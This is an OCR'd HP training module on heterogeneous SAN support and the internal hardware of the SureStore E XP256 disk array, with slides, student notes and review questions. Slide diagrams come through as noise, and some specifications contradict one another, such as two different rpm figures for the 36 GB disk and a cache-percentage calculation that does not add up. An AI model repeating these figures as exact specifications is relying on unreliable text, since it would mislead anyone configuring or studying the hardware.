
HP's commitment to customer choice continues with HP Equation and SureSpan. The Open
(or Heterogeneous) SAN that these initiatives embrace guarantees the most flexibility to
meet our customers' needs.

The Open SAN supports multiple platforms (HP, Sun, IBM) and operating systems (HP-UX,
Solaris, MVS, NT) as well as storage devices from multiple vendors (HP XP256 and EMC
Symmetrix) all in the same network. It is important to note that the various OS types only
share resources (not data) in the SAN by default. Enabling data sharing (i.e. backing up
UNIX data through an MVS system) requires additional software, such as Data Exchange XP.
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A-8. SLIDE: Heterogeneous SANs: Servers

Heterogeneous SANs: Servers
Connecting SERVERS to the HP SAN

e HP Unix:
¢ D-Class, K-Class, N-Class, R-Class, T-Class on HP-UX 10.20
¢ D-Class, K-Class, N-Class, R-Class T-Class, V-Class on HP-UX 11.0

¢ Non-HP Unix:
e XP256 storage initially
e Sun & IBM, via XP256 & EMC
¢ Direct connect and HP switch attach only
¢ Must be on separate SAN
e See XP256 heterogeneous support matrix
e NT:

e HP-NT to all supported storage via L10/S10 Hub or direct
attach; Unix and NT cannot share the same loop

e HP and non-HP NT to XP256 via the HP switch:
— Must be on separate SAN
— See XP256 heterogeneous support matrix

Student Notes

Above is a partial list of supported vendors and restrictions. Many other OS (including HP
MPE/iX) are available now or will be in the near future.

Most servers will not be SAN compatible initially, even with a FC card. The FC LAN drivers
will not support SAN connections. SAN connections require special drivers - FCMS for HP-
UX 10.20 and FCMassStorage for HP-UX 11.00.
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A-9. SLIDE: Heterogeneous SANs: HP Devices

~ Heterogeneous SANs: HP Devices

Connecting different types of HP MASS STORAGE
products to the HP SAN

¢ Supported Fibre Channel Infrastructure Configurations (5/99):
— Switch F16 with supported storage devices
— Switch F16 with Hub L/S10 and supported storage devices
— Switch with Bridge with Model 12H and HASS
— Switch with Hub with Bridge with Model 12H and HASS

e Supported HP Storage Devices (5/99):
— Bridge with Model 12H or HASS or XP256
- XP256
FC10 JBOD
Model 30 FC supported only on Hubs (no planned Switch support)
— Bridge with tapes supported only on Hubs (Switch later in 1999)

¢ Any combination of supported storage devices can coexist on the same SAN
(except tapes and disks).

Student Notes

As expected, HP Equation supports the full range of HP mass storage devices available.

Configuring tapes on the same loop as any other storage device type will cause problems
with EPL and FC-AL. The only supported configurations for tape devices involve dedicated
loops isolated from all other SAN components. Functionalities built into FL will address this
issue.
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A-10. SLIDE: Heterogeneous SANs: Non-HP Devices

— Heterogeneous SANs: Non-HP Devices

Connecting NON- HP MASS STORAGE products
to the HP SAN

¢ Supported non-HP Storage Devices (5/99):
> EMC FC Symmetrix 4.0/4.8
> Not supported:
— Bridge with EMC SCSI Symmetrix
— Any other non-HP devices at this time

¢ Any combination of supported storage devices can coexist on the
same SAN.

Student Notes

To be backward compatible with existing mass storage customers, HP Equation offers
support of EMC and other vendor mass storage equipment.
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A-11. REVIEW: SAN Overview

1. Name three OS types and three storage devices which can be part of a HP Equation Open
SAN.

2. Name the three major SureSpan components discussed in this module.
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Appendix B — SureStore E Disk Array XP256 —
Hardware Basics

Objectives
Upon completion of this module, you will:

¢ Be familiar with the principal characteristics of the HP SureStore E product.
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SureStore E Disk Array XP256 — Hardware Basics

B-1. SLIDE: HP XP256 Internal View

— HP XP256 Internal View
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Student Notes

The HP SureStore E Disk Array XP256 is HP's answer to large-scale data storage and data
warehousing for enterprise computing. The name derives from the subsystem's multi-
controller architecture and 256 number of disk bays visible on a fully configured system.
XP256 is scalable from 60 GB to 9 TB and supports RAID levels 1 and 5.

An initial look at the specifications for the XP256:

¢ Disks

v/ 232 Data Disks + 8 dedicated spare disks (total of 240 usable disks)
v" Up to 16 total spare disks can be configured as an option

« RAM

v" 16 GB Cache (max.)
v' 512 MB Shared Memory (max.)

¢ Interfaces

v" Up to 4 ACP Pairs (to connect the Disks using FW-SCSI)
v" Up to 4 CHIP Pairs for host connectivity through:
¢ 32 FW-SCSI or Ultra-SCSI Connections (Host)
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¢ 16 FC Connections
¢ 32 ESCON Connections (up to 8 allowed for Continuous Access XP)

Many of the terms probably are not familiar yet - they will be explained as we work through
this module.

The XP256 shown is configured with one Disk Controller (DKC) and two Disk Units (DKUs),
one on either side. The DKC houses the main processor, power supplies, fans, connection
cards, and LAN connectivity ports. The DKCs have space for 64 disk drives each. Not
pictured is the Disk Multiplexer (DKM) which is a cabinet for the Bridge FC 4/2, allowing
multiple connections to the disk resources managed by the XP256.

A software application called Continuous Track XP is required for the XP256 to function
properly. This program runs on the main processor and coordinates external configuration
requests and system monitoring. Continuous Track XP works closely with the Remote
Control XP software and the "phone home" feature, both of which will be discussed later.

The system is configured one of two ways:

1. Service Processor (SVP): a built-in laptop unit provides a direct interface into the XP256.
Use of the SVP is reserved for CEs only.

2. Remote Control XP: a software package installed on a remote PC connected to the XP256
via a private (dedicated) LAN connection. The private LAN is for configuration only - no
data access is possible from this network.

Most non-CE configurations will be done from the Remote Control XP station - in fact, only
the CE can open the case to access the components directly. Although most of the work we
will do on the system will be conducted from the Remote Control XP, knowledge of the
internals will make our tasks more understandable and become invaluable when
recommending future expansion.
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B-2. SLIDE: HP XP256 Internals

HP XP256 Internals
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Student Notes

Now that we've seen what the XP256 looks like, let's take a more functional view of the
subsystem to get a better idea of how it works.

This diagram illustrates the four principal characteristics of the HP SureStore E product:

1.

Fault tolerant architecture: All the active components are redundant. There is no
single point of failure; everything from the disks to the power supplies are backed up.

Connectivity: This device supports connections to a wide variety of systems
(mainframes, NT, UNIX) found in today's business environment. XP256 also supports
many different connection types (FW-SCSI, FC, ESCON).

Performance: This machine is designed to be very efficient - at least 20% better than the
competition. An example of improved efficiency: RAID 5 parity generation is done by an
independent processor on the disk interface resulting in RAID 5 performance comparable
to RAID 1.

Reliability with scalability: There are no disruptive operations with this machine:
CPUs, memory, cache, and disks may be changed or upgraded without stopping the
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XP256. This directly supports our goal of 5 minutes downtime per year or 99.999% annual
uptime.
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B-3. SLIDE: HP XP256 Storage Architecture

— HP XP256 Storage Architecture

1 Connectivity:
e FC, FW-SCSI, UltraSCSI, ESCON

Data 2 Fault tolerant:
e Dual CHIP, ACP pairs write
“duplexed” Cache

e Dual buses for Data, Control and SCSI
Shared back end
memory

3 Performance:
¢ Two 240MB/sec Data Buses
¢ Two 130MB/sec Control Buses
e Large cache (up to 16 GB)
¢ High speed 12000 rpm disks

4 Reliability:
e 15GB & 36.9GB super high reliability disks
e Each disk is dual ported and accessed via
load balanced ACP pairs.
¢ Hardware/firmware upgrades with no
interruption

Control

Student Notes

One of the strengths of the XP256 architecture is the fact that the design makes the maximum
use of all available resources.

The fault tolerant aspect of the subsystem dictates that all major components be redundant.
However, rather than wasting resources by relegating them to simple backup roles, XP256
uses its interfaces in duplex, effectively doubling throughput in many cases and making the
system more efficient.

The XP256 utilizes two central data buses running at 240 MB/s each. To improve
performance, command traffic is isolated from these data buses by the use of a double line
(130 MB/s each) command bus. This produces an aggregate throughput of 480 MB/s of data
and 260 MB/s of commands. However, in some circumstances data may transit via command
bus as well, producing a maximum throughput is 740 MB/s. Performances are not impacted
by the apparent low speed of the buses.
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B-4. SLIDE: Client Hosts Interface Processors (CHIPs)

~ Client Hosts Interface Processors
(CHIPs) —_—

¢ Processes Host Commands

e Accesses & Updates Cache Track
Directory

¢ Monitors Access Patterns

 Emulates Host Device Types
Signals ACP to read/write data

Data

Control

Student Notes

"Front-end" (disk array to host) connections on the HP XP256 are provided by one to four
pairs of Client/Host Interface Processor (CHIP) boards. CHIPs are one of two types of
interfaces to the XP256. While the ACPs manage the LDEVs, the CHIPs manage how the
outside world (external to the XP256) sees the XP256 storage areas.

LUN assignments and traffic are associated with the CHIP and this information is mapped
internally to the appropriate "back-end" connection or ACP. . To relieve the load on the main
processor, each CHIP utilizes on-board processors to manage local computations.

One CHIP pair can provide 8 parallel connections, 4 or 8 ESCON connections, 8 SCSI-2
Fast/Wide/Differential connections or 4 FC connections. CHIPs must be purchased and
installed in pairs, but the pairs are fully intermixable - FC (CHF), SCSI (CHS), and ESCON
(CHA) CHIP pairs can all exist on the same XP256.

ESCON interfaces can be configured as either a Link Control Processor (LCP), providing a
connection to a mainframe host, or as connection to another XP256 for use with the
Continuous Access XP. Up to 16 ESCON connections can be dedicated to Continuous Access
XP.
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Ports per CHIP | Max. Number Number of Number of Max. Transfer
Pair of CHIP Pairs Interfaces Concurrent I/0s Rate (MB/s)

8 port SCSI 4 32 32 18

4 port FC 4 16 16 100

4 port ESCON 4 16 16 10/17

8 port ESCON 4 32 32 10/17
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B-5. SLIDE: Access Control Processors (ACPs)

~ Access Control Processors (ACPs)

¢ Read/Write Functions
— Read (miss) staging
— Write de-staging . . Control
e Media protection -
- Disk scrubbing - Fn%;;]

— Dynamic spares

Data

— Mirrored storage
— Hardware RAID 5 parity generation
— Dynamic Data rebuild —

Student Notes

The Access Control Processor (ACP) is the other interface type supported on the XP256.
ACPs are responsible for "back-end" connections - connections to the physical disk devices
installed in the disk array. The XP256 uses ACPs to manage logical devices (LDEVs) which
are built from installed disk space.

ACPs are responsible for coordinating I/O with the subsystem's cache memory, as well as
disk space management. RAID parity operations and spare disk utilization are among the
other functions controlled by this interface. As with the CHIP, on-board microprocessors
perform local computations.

ACPs are only sold in pairs - individual boards would violate the fault tolerant design
specifications. Each pair provides eight 20 MB/s SCSI interfaces and can support up to 60
physical disks. Disk Controllers (DKCs) are sold with one ACP pair and are expandable to
four ACP pairs. The DKC also includes cabling to support two ACP pairs - expansion beyond
two pairs requires an additional SCSI cable set (P/N: A5745A).
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B-6. SLIDE: DKC Front View (CHIPs)

~— DKC Front View (CHIPs)
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Student Notes

The XP256 separates its CHIP pairs internally so that there are no single points of failure
(SPFs). The diagram above illustrates the layout of the front card cage of the disk array.
Imagine a line running in between slots T and U - this separates the cage into cluster 1 (CL1)
on the left and cluster 2 (CL2) on the right. The two clusters depend on different power
supplies and provide alternate hardware paths for fault tolerance. Whatever you add to one
cluster, you must also add to the other cluster.

CHIP pairs can be assigned to slot pairs P/V, Q/'W, R/X, and S/Y. Slots T and U are reserved
for cache memory boards. Notice that slot O (not zero, but the capital letter) is not used to
prevent confusion.

Ports on CHIP boards are lettered from the top down and named after their cluster. A 4-port
SCSI board would have, starting from the top, ports CL1-A, CL1-B, CL1-C, and CL1-D if it
were the first one installed in the cluster. The second card would start lettering with CL1-E.
The corresponding CHIP board on the second cluster would also follow the same lettering
convention, but would name its ports with a CL2 designation (i.e. CL2-A).
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Customers do not directly access the CHIP board ports for connections. The CHIP ports are
connected to panels directly below the CHIP slots on the front of the DKC, which provide the
ports for external (host) connections.

The panels are laid out differently depending on whether the associated CHIP board has two
or four ports:

g E F «— CL1

E F <«—— CL2

Q@ | ap

o=

SCSI CHIPs connect to panels with two outbound ports for each CHIP port configured.
Daisy-chaining of the panel's ports are not allowed so the second port must have a SCSI
terminator attached.

These ports can feed to a Bridge 4/2 or DKM or can be used directly for host access.
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B-7. SLIDE: DKC Back View (ACPs)

~ DKC Back View (ACPs)
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Student Notes

The backside of the XP256 card cage appears confusing at first. Remember that the clusters
defined in the last slide were assigned based upon which power supplies they used. To stay
consistent with this strategy, we must assign the right-hand slots to cluster 1 and the left-
hand slots to cluster 2 to align with the cluster assignments on the front of the array.

ACP pairs are installed in slot pairs B/H, C/J, D/K, and L/E. Slots G and F are reserved for
cache memory boards and, unlike the front cache boards, also hold shared memory. Slot I is
unused to avoid confusion with the number 1.

ACP pairs are truly redundant components - they provide for automatic failover. Therefore,
both ACP boards must be connected to the same HDUs on the same DKC.
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B-8. SLIDE: HP XP256 Array Groups Raidl vs. Raid5

~ HP XP256 Array Groups Raidl vs. Raid5

RAID 1 RAID 5
Two 1D + 1M Array Groups * 3D + 1P Array Groups **
SH-N-N
* Two RAID 1 pairs (data and mirror) exist ** Shows logical (not physical) view

within the same ACP pair

Student Notes

As expected with a high-end mass storage solution product, XP256 supports Redundant Array
of Independent (or Inexpensive) Disks (RAID) configurations for fault tolerance. XP256
supports RAID levels 1 and 5.

RAID 1 Configuration is the XP256 factory default configuration. RAID level configuration is
done from the SVP when the CE installs the disks.

It is important to note that disks are purchased and installed in "marketing array groups" of
four disk drives. RAID levels must be consistent across an array group - i.e. all four disks
must be either RAID 1 or RAID 5. Additionally, RAID types cannot be mixed within the disks
managed by a single ACP pair.

According to the documentation, the XP256 RAID levels are a 2D+2M (2 data disks + 2
mirrored disks) RAID 1 and a 3D+1P (3 data disks + 1 parity disk) RAID 5. By describing the
strategy as 2D+2M, it could be interpreted that the two data disks can mirror on either of the
mirrors; this is not the case. It would be more accurate to describe RAID 1 as 1D+1M since
the data-mirror pairs are exclusive.
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B-9. SLIDE: HP XP256 Hardware Schematic (DKU)

~ HP XP256 Hardware Schematic (DKU)
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Student Notes

The diagram above shows a fully configured XP256 - one DKC and four DKUs. When
referring to the DKUs, the number scheme always starts from the DKC and works outward.
Therefore, the right side DKUs are R1 and R2 (where R1 is directly next to the DKU) and the
left side units are L1 and L2 (where L1 is directly to the left of the DKC). DKUs can also be
referenced by numbering them in order, starting on the right. In other words:

R1=DKU1
R2=DKU2
L1=DKU3
L2=DKU4

The numbered blocks on the side of R2 are known as Hard Disk Units (HDUs). The eight
HDUs of a DKU are numbered 0-7 (see above for layout) for easy reference. Each HDU has
two SCSI connections (one for each ACP board in a pair), two power supplies, and eight disk
bays. HDUs 0-3 are controlled by a separate ACP pair than HDUs 4-7.

When installing a "marketing array group" (a bundle of four disks as sold by HP), the disks
are spread out among the HDUs controlled by the same ACP pair (i.e. one disk in each of
HDUs 0-3) in the same numbered slot in each. HDU slots are numbered starting from the
upper right corner and proceeding in order counter-clockwise:
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e gl
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The slots are used in numerical order and assigned in the lowest numbered DKU first if two
are sharing the same ACP pair (i.e. R1 first, then R2).

In an extended XP256 setup, the two DKUs on the same side of the DKC combine resources
and are controlled by the same ACP pairs. For example, HDU 0 on R1 and HDU 0 on R2 are
cabled together to provide support for 16 slots on an ACP pair (as opposed to the standard 8
if only using one DKU).

HDU 0 - Front of Cabinet 1 HDU 0 Front of Cahinet 2

iilEkini7/aenm)|
Tinicioi EBE%II

To ACP Pair

However, since ACP pairs are FW-SCSI interfaces, they can only support 15 devices at a time.
This means that one of the slots must be "lost" or unusable. Slot 7 of the outside DKU (either
R2 or L2) can never be used because of this restriction. Does this mean that our XP256 can
only support 240 data drives (256-16=240)?

Actually, no. In addition to the unusable slots, there are slots dedicated for spare disks that
cannot be used for data drives. Slot 3 of HDUs 0-3 on R1 and L1 are reserved spare disk slots,
which reduces the number of data drive slots to 232.

XP256 also allows configuration of up to 8 additional spare slots, but this option is rarely
used since the primary spares are enough.

Specific slots can be referenced in the form [DKU][HDU][slot]. This means that the lower
left-hand corner slot in the top front HDU of the first DKU to the right of the DKC is R154
(DKU R1, HDU 5, slot 4).
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B-10. SLIDE: HP XP256 Dynamic Spare Disk

— HP XP256 Dynamic Spare Disk

Ready to accept —
110 requests

@ Correction copy:

DKC .
= |::>®J in case of unrecoverable error.

Data is automatically

O % = O &5 reconstructed.

Physical ~ Physical Physical Physical Physical  Spare disk
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Ready o accept Ready lo acoepl
10 Tequests 110 requests

. . DKC(RAIDS
Dynamic sparing: (BADS) OKCIRAI)

when the number of errors
exceeds a pre-fixed
threshold data is copied

Pryscal ~ Physical  Physcal  Pysical  Physcal  Sparedisk  Physkal  Physcal  Spare dik
dvioe  devee  devie  deviee  devies des  Oevice

Student Notes

The XP256 supports two sizes of disk drives: 15 GB and 36 GB. In practice, only one spare
disk is required per type of disk supported in the subsystem. If you have a 15 GB array group,
install a 15 GB spare; if you have a 36 GB array group, install a 36 GB spare. Spare disks have
a different part number than marketing array groups since, unlike the marketing array
groups, spare disks can be purchased singly.

The spare disks can be used in one of two ways.

1. Dynamic sparing
The subsystem keeps track of the number of errors that occurred, for each drive, when it
executes normal read or write processing. If the number of errors occurring on a certain
drive exceeds a predetermined value, this system considers that the drive is likely to
cause unrecoverable errors and automatically copies data from that drive to a spare disk.
Dynamic sparing operates the same for RAID 1 and RAID 5 array groups.

2. Correction Copy
When a subsystem cannot read or write data from or to a drive due to an error occurring
on that drive, it regenerates the original data for that drive using data from the other
drives and the parity data, and copies it onto a spare disk.
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The sparing process on an XP256 takes about six hours. Due to the high fault tolerance of
the system, it is unlikely that a second disk failure will occur during this time. The system
takes advantage of this fact and runs the sparing function as a background process so as not
to impact system performance.

The XP256 supports a maximum of 4 dedicated spares per DKU (8 per subsystem). The
dedicated spare disks will be installed in DKU frames R1 & L1 on ACP pairs 1 & 3 (HDUs 0-3).

The XP256 supports a maximum of 4 optional spares per DKU (8 per subsystem). The
optional spares can be configured in DKU frames R1 & L.1 on ACP pairs 2 & 4 (HDUs 4-7). If
you use these slots for spare disks, you cannot use them for data disks. The dedicated spare
disks should be enough - these spaces are better utilized for data storage.
The following locations are for dedicated spare discs:

R103, R113, R123, R133, L103, L113, L123, L133

The following locations can be data or optional spare discs

R143, R153, R163, R173, 143, L153, L163, L173
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B-11. SLIDE: HP XP256 Disk Drive Specifications

— HP XP256 Disk Drive Specifications
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Capacity 36.9 GB 15GB
Rotational Speed 6300 rpm 12,000 rpm
Actuator Buffer 4MB 4MB

Seek Time (aver age) 11.5ms 6 ms
Average L atency 11.5ms 11.5ms

/ 36.9GB \

Student Notes

The HP XP256 can be configured with array groups based on one of two different 3.5” disks
(hard disk assembly) or physical disk drives:

1. 15 GB/12,000 rpm
2. 36 GB/7,200 rpm

Choose the disks wisely — the choice we make will have significant impact on performance,
XP256 capacity, and logical image implementations.

Disks are sold in groups of 4 drives, called marketing array groups. The XP256 supports
mixing 15 & 36 GB array groups within the same ACP pair. Each size disk requires its own
spare - only one of each type is needed per XP256.

Additional Product Highlights:

¢ Dual spindle design for reliability

¢ Dual ported disk drives

¢ 1960 and Firmware error detection capability on drives

* Specialized design for the XP256 (designed for high reliability datacenter applications)
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B-12. SLIDE: HP XP256 Write Duplex Cache

— HP XP256 Write Duplex Cache

Dynamic duplexed write cache used for data transfer

All writes duplexed

Separate power boundaries

Nonvolatile Cache protected 48 hours with batteries
Duplexed shared memory (IPC) used for ACP control & command

Duplexed
Writes

Student Notes

Cache Memory

The HP XP256 subsystem can be configured with 1-16GB of cache memory. All cache
memory in the HP XP256 is nonvolatile and is protected by 48-hour battery backup capability.
The cache in the HP XP256 is divided into two equal segments, cache A and cache B, on
separate power boundaries.

The HP XP256 places all read and write data in cache. All write data is written to both cache
segments with one CHIP write operation, duplicating data (duplexing) across the power
boundaries. If one copy of write data is defective or lost, the other copy is immediately
destaged to disk. This “duplex cache” design ensures full data integrity in the unlikely event
of a cache memory or power-related failure.

Shared memory

This memory handles the control data to free up the cache for data writes. Shared memory
also strips away all of that control information off of the data bus and puts it out on the
control bus, reducing the traffic on the data buses to boost performance.
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B-13. SLIDE: HP XP256 Cache Duplex Write Limit

~ HP XP256 Cache Duplex Write Limit

Max 16GB Total Cache

Reafd data

70% Maximum Duplex Write limit (optimal)

Write Data Write Data
---..---..---..---..---..-E --------------------------- 50% Default Duplex Write linl_it (default)

30% Minimum Duplex Write limit (optional)

Cache A Cache B

Power
Boundary

Student Notes

The dynamic duplex cache is the area of cache memory dynamically allocated for write
operations. The duplex write line (DWL) refers to upper limit of the dynamic duplex cache.
The amount of fast-write data stored in cache is dynamically managed by the cache control
algorithms to provide the optimum amount of read and write cache based on workload I/O
characteristics.

The default DWL setting allows up to 50% of cache to be allocated to fast-write data. With
Performance Manager XP installed on a remote PC, the user can adjust the DWL from 30% to
70% in real-time or according to a user-defined weekly schedule.

If the DWL limit is ever reached, the HP XP256 sends fast-write delay or retry indications to
the host until the appropriate amount of data can be destaged from cache to the disks to
make more cache slots available.

Since the write cache is duplexed, the system effectively has half as much space as it should
for write operations. For example, a 16GB cache used with the default DWL produces 8 GB
(60% of cache) reserved for read operations and 4 GB of effective write cache space (4 GB of
cache + 4 GB of duplexed (copied) cache = 8 GB).

Cache installation and upgrades require a HP CE.
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The cache follows specific operational rules:

1.

Read hit. For a read I/O, when the requested data is already in cache, the operation is
classified as a read hit. The CHIP searches the cache directory, determines that the data
is in cache, and immediately transfers the data to the host at the channel transfer rate.

Read miss. For a read I/O, when the requested data is not currently in cache, the
operation is classified as a read miss. The CHIP searches the cache directory, determines
that the data is not in cache, disconnects from the host, creates space in cache, updates
the cache directory, and requests the data from the appropriate ACP pair. The ACP pair
stages the appropriate amount of data into cache, depending on the type of read I/0O (e.g.,
sequential).

Fast write. All write I/Os to the XP256 subsystem are fast writes, because all write data
is written to cache before being destaged to disk. The data is stored in two cache
locations on separate power boundaries in the dynamic duplex cache. As soon as the data
has been written to cache, the XP256 notifies the host that the I/O operation is complete,
and then destages the data to disk in background.
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B-14. SLIDE: ACP Mapping: Maximum Performance
Configuration

—  ACP Mapping: Maximum Performance

Configuration —
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Guidelines for maximum backend/ACP performance,
1. Expand by adding ACP pair & disk groups
2. Add second disk group per ACP pair
3. Add third & fourth ACP pairs & disk groups
4. Stop at two DK U’ s for maximum performance

Student Notes

When it comes time to expand a customer XP256, the question always becomes "Which way
do we go?" The default configuration is the DKC and R1. Do we add R2 or L1? Does it
matter?

The answer will depend on the ultimate goal of the expansion - immediate cost efficiency or
better performance.

For best performance, we should add L1. Besides producing aesthetically pleasing symmetry
to the system, sound reasoning dictates this solution. If you were adding a disk to a system
running JBODs, would you add the disk to the SCSI controller with 4 devices already
attached or would you attach it to another controller if available? You'd choose the free
controller to distribute the workload.

The same reasoning applies in this example. The subsystem will perform better if we have
additional ACP pairs to manage the traffic. More controllers means more throughput and
improved performance.
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B-15. SLIDE: ACP Mapping: Cost/Density Configuration

~— ACP Mapping: Cost/Density

Configuration —
DKU 4 DKU 3 DKC DKU1 DKU 2
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Guidelines for maximum Cost/Density configuration:
1. Expand by fully configuring each ACP pair using dense disks
2. Configure DKU 1, then 2 / ACP pair 1
3. Add & fully configure ACP pair 2
4. Repeat procedure for DKU 3 and 4 / ACP pairs 3 and 4

Student Notes

If cost is the most compelling factor in the expansion decision, another option would be to
add R2.

This strategy will cost less since it does not require additional ACP pairs, SCSI cable sets, or
power supplies.

The subsystem's performance will degrade slightly due to the higher load being placed on the
processors, particularly the ACPs. This can be offset by the addition of extra cache memory.

If four DKUs are required, the best performance solution is to have one DKC per DKU pair,
cost permitting.
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B-16. SLIDE: Introduction to Software

~ Introduction to Software

Configuration (Central Management Software )
1. Remote Control XP
2. LUN Configuration Manager XP
3. Cache LUN XP

High Availability (Bustness Continuance
Software)

4. RAID Manager XP

5. Business Copy XP

6. Continuous Access XP
Performance

7. Performance ManagerXP

Security
8. Secure Manager XP

Heterogeneity
9. Resource Manager XP
10. Data Exchange XP

Student Notes

Once the XP256 has been installed and configured initially, all normal access should take
place through an administrative PC. Only the CE should access the SVP or the other internal
components of the disk array.

For day to day administration, the Remote Control XP software and its associated
applications provide the functionality users and ASEs need.
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B-17. REVIEW: Hardware Basics

1. 1) Describe the difference between an ACP and a CHIP. What are the three types of
CHIPs available?

2. Name the two stations an XP256 can be configured from.

3. For a fully configured XP256 subsystem, name the five enclosures from left to right.

4. What is a "marketing array group" and how many disks does it contain? How many disks
in a RAID 1 array group? How many disks in a RAID 5 array group?

5. How many disk slots are reserved for spare disks. How many spare disks do you require
for a standard system?

6. What is the DWL? What are its maximum and minimum values? How long does cache
remain viable after a power failure?
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